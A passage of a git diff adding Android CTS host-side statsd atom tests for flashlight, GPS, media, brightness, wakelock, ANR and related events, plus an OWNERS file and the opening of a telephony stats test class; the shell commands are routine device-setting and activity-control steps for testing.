+        final int atomTag = Atom.FLASHLIGHT_STATE_CHANGED_FIELD_NUMBER;
+        final String name = "testFlashlight";
+
+        Set<Integer> flashlightOn = new HashSet<>(
+                Arrays.asList(FlashlightStateChanged.State.ON_VALUE));
+        Set<Integer> flashlightOff = new HashSet<>(
+                Arrays.asList(FlashlightStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(flashlightOn, flashlightOff);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", name);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getFlashlightStateChanged().getState().getNumber());
+    }
+
+    public void testForegroundServiceState() throws Exception {
+        final int atomTag = Atom.FOREGROUND_SERVICE_STATE_CHANGED_FIELD_NUMBER;
+        final String name = "testForegroundService";
+
+        Set<Integer> enterForeground = new HashSet<>(
+                Arrays.asList(ForegroundServiceStateChanged.State.ENTER_VALUE));
+        Set<Integer> exitForeground = new HashSet<>(
+                Arrays.asList(ForegroundServiceStateChanged.State.EXIT_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(enterForeground, exitForeground);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/false);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", name);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getForegroundServiceStateChanged().getState().getNumber());
+    }
+
+
+    public void testForegroundServiceAccessAppOp() throws Exception {
+        final int atomTag = Atom.FOREGROUND_SERVICE_APP_OP_SESSION_ENDED_FIELD_NUMBER;
+        final String name = "testForegroundServiceAccessAppOp";
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/false);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", name);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertWithMessage("Wrong atom size").that(data.size()).isEqualTo(3);
+        for (int i = 0; i < data.size(); i++) {
+            ForegroundServiceAppOpSessionEnded atom
+                    = data.get(i).getAtom().getForegroundServiceAppOpSessionEnded();
+            final int opName = atom.getAppOpName().getNumber();
+            final int acceptances = atom.getCountOpsAccepted();
+            final int rejections = atom.getCountOpsRejected();
+            final int count = acceptances + rejections;
+            int expectedCount = 0;
+            switch (opName) {
+                case AppOpEnum.APP_OP_CAMERA_VALUE:
+                    expectedCount = 3;
+                    break;
+                case AppOpEnum.APP_OP_FINE_LOCATION_VALUE:
+                    expectedCount = 1;
+                    break;
+                case AppOpEnum.APP_OP_RECORD_AUDIO_VALUE:
+                    expectedCount = 2;
+                    break;
+                case AppOpEnum.APP_OP_COARSE_LOCATION_VALUE:
+                    // fall-through
+                default:
+                    fail("Unexpected opName " + opName);
+            }
+            assertWithMessage("Wrong count for " + opName).that(count).isEqualTo(expectedCount);
+        }
+    }
+
+    public void testGpsScan() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_LOCATION_GPS)) return;
+        // Whitelist this app against background location request throttling
+        String origWhitelist = getDevice().executeShellCommand(
+                "settings get global location_background_throttle_package_whitelist").trim();
+        getDevice().executeShellCommand(String.format(
+                "settings put global location_background_throttle_package_whitelist %s",
+                DeviceUtils.STATSD_ATOM_TEST_PKG));
+
+        try {
+            final int atom = Atom.GPS_SCAN_STATE_CHANGED_FIELD_NUMBER;
+            final int key = GpsScanStateChanged.STATE_FIELD_NUMBER;
+            final int stateOn = GpsScanStateChanged.State.ON_VALUE;
+            final int stateOff = GpsScanStateChanged.State.OFF_VALUE;
+            final int minTimeDiffMillis = 500;
+            final int maxTimeDiffMillis = 60_000;
+
+            ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(),
+                    DeviceUtils.STATSD_ATOM_TEST_PKG,
+                    atom, /*useUidAttributionChain=*/true);
+
+            DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests",
+                    "testGpsScan");
+
+            List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+            assertThat(data).hasSize(2);
+            GpsScanStateChanged a0 = data.get(0).getAtom().getGpsScanStateChanged();
+            GpsScanStateChanged a1 = data.get(1).getAtom().getGpsScanStateChanged();
+            AtomTestUtils.assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMillis,
+                    maxTimeDiffMillis);
+            assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+            assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
+        } finally {
+            if ("null".equals(origWhitelist) || "".equals(origWhitelist)) {
+                getDevice().executeShellCommand(
+                        "settings delete global location_background_throttle_package_whitelist");
+            } else {
+                getDevice().executeShellCommand(String.format(
+                        "settings put global location_background_throttle_package_whitelist %s",
+                        origWhitelist));
+            }
+        }
+    }
+
+    public void testMediaCodecActivity() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH)) return;
+        final int atomTag = Atom.MEDIA_CODEC_STATE_CHANGED_FIELD_NUMBER;
+
+        // 5 seconds. Starting video tends to be much slower than most other
+        // tests on slow devices. This is unfortunate, because it leaves a
+        // really big slop in assertStatesOccurred.  It would be better if
+        // assertStatesOccurred had a tighter range on large timeouts.
+        final int waitTime = 5000;
+
+        // From {@link VideoPlayerActivity#DELAY_MILLIS}
+        final int videoDuration = 2000;
+
+        Set<Integer> onState = new HashSet<>(
+                Arrays.asList(MediaCodecStateChanged.State.ON_VALUE));
+        Set<Integer> offState = new HashSet<>(
+                Arrays.asList(MediaCodecStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "VideoPlayerActivity", "action", "action.play_video",
+                waitTime);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, videoDuration,
+                atom -> atom.getMediaCodecStateChanged().getState().getNumber());
+    }
+
+    public void testOverlayState() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH)) return;
+        final int atomTag = Atom.OVERLAY_STATE_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> entered = new HashSet<>(
+                Arrays.asList(OverlayStateChanged.State.ENTERED_VALUE));
+        Set<Integer> exited = new HashSet<>(
+                Arrays.asList(OverlayStateChanged.State.EXITED_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(entered, exited);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/false);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.show_application_overlay",
+                5_000);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        // The overlay box should appear about 2sec after the app start
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 0,
+                atom -> atom.getOverlayStateChanged().getState().getNumber());
+    }
+
+    public void testPictureInPictureState() throws Exception {
+        String supported = getDevice().executeShellCommand("am supports-multiwindow");
+        if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH) ||
+                !DeviceUtils.hasFeature(getDevice(), FEATURE_PICTURE_IN_PICTURE) ||
+                !supported.contains("true")) {
+            LogUtil.CLog.d("Skipping picture in picture atom test.");
+            return;
+        }
+
+        StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(
+                DeviceUtils.STATSD_ATOM_TEST_PKG);
+        FieldValueMatcher.Builder uidFvm = ConfigUtils.createUidFvm(/*uidInAttributionChain=*/false,
+                DeviceUtils.STATSD_ATOM_TEST_PKG);
+
+        // PictureInPictureStateChanged atom is used prior to rvc-qpr
+        ConfigUtils.addEventMetric(config, Atom.PICTURE_IN_PICTURE_STATE_CHANGED_FIELD_NUMBER,
+                Collections.singletonList(uidFvm));
+        // Picture-in-picture logs' been migrated to UiEvent since rvc-qpr
+        FieldValueMatcher.Builder pkgMatcher = ConfigUtils.createFvm(
+                UiEventReported.PACKAGE_NAME_FIELD_NUMBER)
+                .setEqString(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        ConfigUtils.addEventMetric(config, Atom.UI_EVENT_REPORTED_FIELD_NUMBER,
+                Arrays.asList(pkgMatcher));
+        ConfigUtils.uploadConfig(getDevice(), config);
+
+        LogUtil.CLog.d("Playing video in Picture-in-Picture mode");
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "VideoPlayerActivity", "action", "action.play_video_picture_in_picture_mode");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Filter out the PictureInPictureStateChanged and UiEventReported atom
+        List<EventMetricData> pictureInPictureStateChangedData = data.stream()
+                .filter(e -> e.getAtom().hasPictureInPictureStateChanged())
+                .collect(Collectors.toList());
+        List<EventMetricData> uiEventReportedData = data.stream()
+                .filter(e -> e.getAtom().hasUiEventReported())
+                .collect(Collectors.toList());
+
+        assertThat(pictureInPictureStateChangedData).isEmpty();
+        assertThat(uiEventReportedData).isNotEmpty();
+
+        // See PipUiEventEnum for definitions
+        final int enterPipEventId = 603;
+        // Assert that log for entering PiP happens exactly once, we do not use
+        // assertStateOccurred here since PiP may log something else when activity finishes.
+        List<EventMetricData> entered = uiEventReportedData.stream()
+                .filter(e -> e.getAtom().getUiEventReported().getEventId() == enterPipEventId)
+                .collect(Collectors.toList());
+        assertThat(entered).hasSize(1);
+    }
+
+    //Note: this test does not have uid, but must run on the device
+    public void testScreenBrightness() throws Exception {
+        int initialBrightness = getScreenBrightness();
+        boolean isInitialManual = isScreenBrightnessModeManual();
+        setScreenBrightnessMode(true);
+        setScreenBrightness(200);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        final int atomTag = Atom.SCREEN_BRIGHTNESS_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> screenMin = new HashSet<>(Arrays.asList(47));
+        Set<Integer> screen100 = new HashSet<>(Arrays.asList(100));
+        Set<Integer> screen200 = new HashSet<>(Arrays.asList(198));
+        // Set<Integer> screenMax = new HashSet<>(Arrays.asList(255));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(screenMin, screen100, screen200);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testScreenBrightness");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Restore initial screen brightness
+        setScreenBrightness(initialBrightness);
+        setScreenBrightnessMode(isInitialManual);
+
+        AtomTestUtils.popUntilFind(data, screenMin,
+                atom -> atom.getScreenBrightnessChanged().getLevel());
+        AtomTestUtils.popUntilFindFromEnd(data, screen200,
+                atom -> atom.getScreenBrightnessChanged().getLevel());
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getScreenBrightnessChanged().getLevel());
+    }
+
+    public void testSyncState() throws Exception {
+        final int atomTag = Atom.SYNC_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> syncOn = new HashSet<>(Arrays.asList(SyncStateChanged.State.ON_VALUE));
+        Set<Integer> syncOff = new HashSet<>(Arrays.asList(SyncStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(syncOn, syncOff, syncOn, syncOff);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+        DeviceUtils.allowImmediateSyncs(getDevice());
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSyncState");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data,
+                /* wait = */ 0 /* don't verify time differences between state changes */,
+                atom -> atom.getSyncStateChanged().getState().getNumber());
+    }
+
+    public void testVibratorState() throws Exception {
+        if (!DeviceUtils.checkDeviceFor(getDevice(), "checkVibratorSupported")) return;
+
+        final int atomTag = Atom.VIBRATOR_STATE_CHANGED_FIELD_NUMBER;
+        final String name = "testVibratorState";
+
+        Set<Integer> onState = new HashSet<>(
+                Arrays.asList(VibratorStateChanged.State.ON_VALUE));
+        Set<Integer> offState = new HashSet<>(
+                Arrays.asList(VibratorStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", name);
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 300,
+                atom -> atom.getVibratorStateChanged().getState().getNumber());
+    }
+
+    public void testWakelockState() throws Exception {
+        final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> wakelockOn = new HashSet<>(Arrays.asList(
+                WakelockStateChanged.State.ACQUIRE_VALUE,
+                WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE));
+        Set<Integer> wakelockOff = new HashSet<>(Arrays.asList(
+                WakelockStateChanged.State.RELEASE_VALUE,
+                WakelockStateChanged.State.CHANGE_RELEASE_VALUE));
+
+        final String EXPECTED_TAG = "StatsdPartialWakelock";
+        final WakeLockLevelEnum EXPECTED_LEVEL = WakeLockLevelEnum.PARTIAL_WAKE_LOCK;
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(wakelockOn, wakelockOff);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWakelockState");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getWakelockStateChanged().getState().getNumber());
+
+        for (EventMetricData event : data) {
+            String tag = event.getAtom().getWakelockStateChanged().getTag();
+            WakeLockLevelEnum type = event.getAtom().getWakelockStateChanged().getType();
+            assertThat(tag).isEqualTo(EXPECTED_TAG);
+            assertThat(type).isEqualTo(EXPECTED_LEVEL);
+        }
+    }
+
+    public void testANROccurred() throws Exception {
+        final int atomTag = Atom.ANR_OCCURRED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/false);
+
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "ANRActivity", null, null)) {
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG * 2);
+            getDevice().executeShellCommand(
+                    "am broadcast -a action_anr -p " + DeviceUtils.STATSD_ATOM_TEST_PKG);
+            Thread.sleep(20_000);
+        }
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data).hasSize(1);
+        assertThat(data.get(0).getAtom().hasAnrOccurred()).isTrue();
+        ANROccurred atom = data.get(0).getAtom().getAnrOccurred();
+        assertThat(atom.getIsInstantApp().getNumber())
+                .isEqualTo(ANROccurred.InstantApp.FALSE_VALUE);
+        assertThat(atom.getForegroundState().getNumber())
+                .isEqualTo(ANROccurred.ForegroundState.FOREGROUND_VALUE);
+        assertThat(atom.getErrorSource()).isEqualTo(ErrorSource.DATA_APP);
+        assertThat(atom.getPackageName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        assertFalse(atom.getIsIncremental());
+        assertTrue((1 - atom.getLoadingProgress()) < 0.001);
+        assertEquals(-1, atom.getMillisSinceOldestPendingRead());
+    }
+
+    public void testWriteRawTestAtom() throws Exception {
+        final int atomTag = Atom.TEST_ATOM_REPORTED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWriteRawTestAtom");
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).hasSize(4);
+
+        TestAtomReported atom = data.get(0).getAtom().getTestAtomReported();
+        List<AttributionNode> attrChain = atom.getAttributionNodeList();
+        assertThat(attrChain).hasSize(2);
+        assertThat(attrChain.get(0).getUid()).isEqualTo(1234);
+        assertThat(attrChain.get(0).getTag()).isEqualTo("tag1");
+        assertThat(attrChain.get(1).getUid()).isEqualTo(
+                DeviceUtils.getStatsdTestAppUid(getDevice()));
+        assertThat(attrChain.get(1).getTag()).isEqualTo("tag2");
+
+        assertThat(atom.getIntField()).isEqualTo(42);
+        assertThat(atom.getLongField()).isEqualTo(Long.MAX_VALUE);
+        assertThat(atom.getFloatField()).isEqualTo(3.14f);
+        assertThat(atom.getStringField()).isEqualTo("This is a basic test!");
+        assertThat(atom.getBooleanField()).isFalse();
+        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.ON_VALUE);
+        assertThat(atom.getBytesField().getExperimentIdList())
+                .containsExactly(1L, 2L, 3L).inOrder();
+
+
+        atom = data.get(1).getAtom().getTestAtomReported();
+        attrChain = atom.getAttributionNodeList();
+        assertThat(attrChain).hasSize(2);
+        assertThat(attrChain.get(0).getUid()).isEqualTo(9999);
+        assertThat(attrChain.get(0).getTag()).isEqualTo("tag9999");
+        assertThat(attrChain.get(1).getUid()).isEqualTo(
+                DeviceUtils.getStatsdTestAppUid(getDevice()));
+        assertThat(attrChain.get(1).getTag()).isEmpty();
+
+        assertThat(atom.getIntField()).isEqualTo(100);
+        assertThat(atom.getLongField()).isEqualTo(Long.MIN_VALUE);
+        assertThat(atom.getFloatField()).isEqualTo(-2.5f);
+        assertThat(atom.getStringField()).isEqualTo("Test null uid");
+        assertThat(atom.getBooleanField()).isTrue();
+        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.UNKNOWN_VALUE);
+        assertThat(atom.getBytesField().getExperimentIdList())
+                .containsExactly(1L, 2L, 3L).inOrder();
+
+        atom = data.get(2).getAtom().getTestAtomReported();
+        attrChain = atom.getAttributionNodeList();
+        assertThat(attrChain).hasSize(1);
+        assertThat(attrChain.get(0).getUid()).isEqualTo(
+                DeviceUtils.getStatsdTestAppUid(getDevice()));
+        assertThat(attrChain.get(0).getTag()).isEqualTo("tag1");
+
+        assertThat(atom.getIntField()).isEqualTo(-256);
+        assertThat(atom.getLongField()).isEqualTo(-1234567890L);
+        assertThat(atom.getFloatField()).isEqualTo(42.01f);
+        assertThat(atom.getStringField()).isEqualTo("Test non chained");
+        assertThat(atom.getBooleanField()).isTrue();
+        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
+        assertThat(atom.getBytesField().getExperimentIdList())
+                .containsExactly(1L, 2L, 3L).inOrder();
+
+        atom = data.get(3).getAtom().getTestAtomReported();
+        attrChain = atom.getAttributionNodeList();
+        assertThat(attrChain).hasSize(1);
+        assertThat(attrChain.get(0).getUid()).isEqualTo(
+                DeviceUtils.getStatsdTestAppUid(getDevice()));
+        assertThat(attrChain.get(0).getTag()).isEmpty();
+
+        assertThat(atom.getIntField()).isEqualTo(0);
+        assertThat(atom.getLongField()).isEqualTo(0L);
+        assertThat(atom.getFloatField()).isEqualTo(0f);
+        assertThat(atom.getStringField()).isEmpty();
+        assertThat(atom.getBooleanField()).isTrue();
+        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
+        assertThat(atom.getBytesField().getExperimentIdList()).isEmpty();
+    }
+
+    public void testAppForegroundBackground() throws Exception {
+        Set<Integer> onStates = new HashSet<>(Arrays.asList(
+                AppUsageEventOccurred.EventType.MOVE_TO_FOREGROUND_VALUE));
+        Set<Integer> offStates = new HashSet<>(Arrays.asList(
+                AppUsageEventOccurred.EventType.MOVE_TO_BACKGROUND_VALUE));
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, /*useUidAttributionChain=*/false);
+
+        // Overlay may need to sit there a while.
+        final int waitTime = 10_500;
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", ACTION_SHOW_APPLICATION_OVERLAY, waitTime);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        Function<Atom, Integer> appUsageStateFunction =
+                atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
+        // clear out initial appusage states
+        AtomTestUtils.popUntilFind(data, onStates, appUsageStateFunction);
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 0, appUsageStateFunction);
+    }
+/*
+    public void testAppForceStopUsageEvent() throws Exception {
+        Set<Integer> onStates = new HashSet<>(Arrays.asList(
+                AppUsageEventOccurred.EventType.MOVE_TO_FOREGROUND_VALUE));
+        Set<Integer> offStates = new HashSet<>(Arrays.asList(
+                AppUsageEventOccurred.EventType.MOVE_TO_BACKGROUND_VALUE));
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        createAndUploadConfig(Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, false);
+        Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
+
+        getDevice().executeShellCommand(String.format(
+                "am start -n '%s' -e %s %s",
+                "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity",
+                "action", ACTION_LONG_SLEEP_WHILE_TOP));
+        final int waitTime = EXTRA_WAIT_TIME_MS + 5_000;
+        Thread.sleep(waitTime);
+
+        getDevice().executeShellCommand(String.format(
+                "am force-stop %s",
+                "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity"));
+        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
+
+        List<EventMetricData> data = getEventMetricDataList();
+        Function<Atom, Integer> appUsageStateFunction =
+                atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
+        popUntilFind(data, onStates, appUsageStateFunction); // clear out initial appusage states.
+        assertStatesOccurred(stateSet, data, 0, appUsageStateFunction);
+    }
+*/
+
+    private int getScreenBrightness() throws Exception {
+        return Integer.parseInt(
+                getDevice().executeShellCommand("settings get system screen_brightness").trim());
+    }
+
+    private boolean isScreenBrightnessModeManual() throws Exception {
+        String mode = getDevice().executeShellCommand("settings get system screen_brightness_mode");
+        return Integer.parseInt(mode.trim()) == 0;
+    }
+
+    private void setScreenBrightnessMode(boolean manual) throws Exception {
+        getDevice().executeShellCommand(
+                "settings put system screen_brightness_mode " + (manual ? 0 : 1));
+    }
+
+    private void setScreenBrightness(int brightness) throws Exception {
+        getDevice().executeShellCommand("settings put system screen_brightness " + brightness);
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/OWNERS
new file mode 100644
index 0000000..89cfb89
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/OWNERS
@@ -0,0 +1,6 @@
+# These atom tests are owned by the telephony team
+# Bug component: 5683656
+include ../../../../../../../tests/tests/telephony/OWNERS
+czhangsd@google.com
+mberionne@google.com
+
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
new file mode 100644
index 0000000..8d18f0e
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
@@ -0,0 +1,388 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.telephony;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+import android.telephony.NetworkTypeEnum;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Queue;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class TelephonyStatsTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+
+    // Bitmask of radio access technologies that all GSM phones should at least partially support
+    protected static final long NETWORK_TYPE_BITMASK_GSM_ALL =
+            (1 << (NetworkTypeEnum.NETWORK_TYPE_GSM_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_GPRS_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_EDGE_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_UMTS_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSDPA_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSUPA_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSPA_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSPAP_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_TD_SCDMA_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_LTE_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_LTE_CA_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_NR_VALUE - 1));
+    // Bitmask of radio access technologies that all CDMA phones should at least partially support
+    protected static final long NETWORK_TYPE_BITMASK_CDMA_ALL =
+            (1 << (NetworkTypeEnum.NETWORK_TYPE_CDMA_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_1XRTT_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_EVDO_0_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_EVDO_A_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_EHRPD_VALUE - 1));
+
+    // Telephony phone types
+    private static final int PHONE_TYPE_GSM = 1;
+    private static final int PHONE_TYPE_CDMA = 2;
+    private static final int PHONE_TYPE_CDMA_LTE = 6;
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
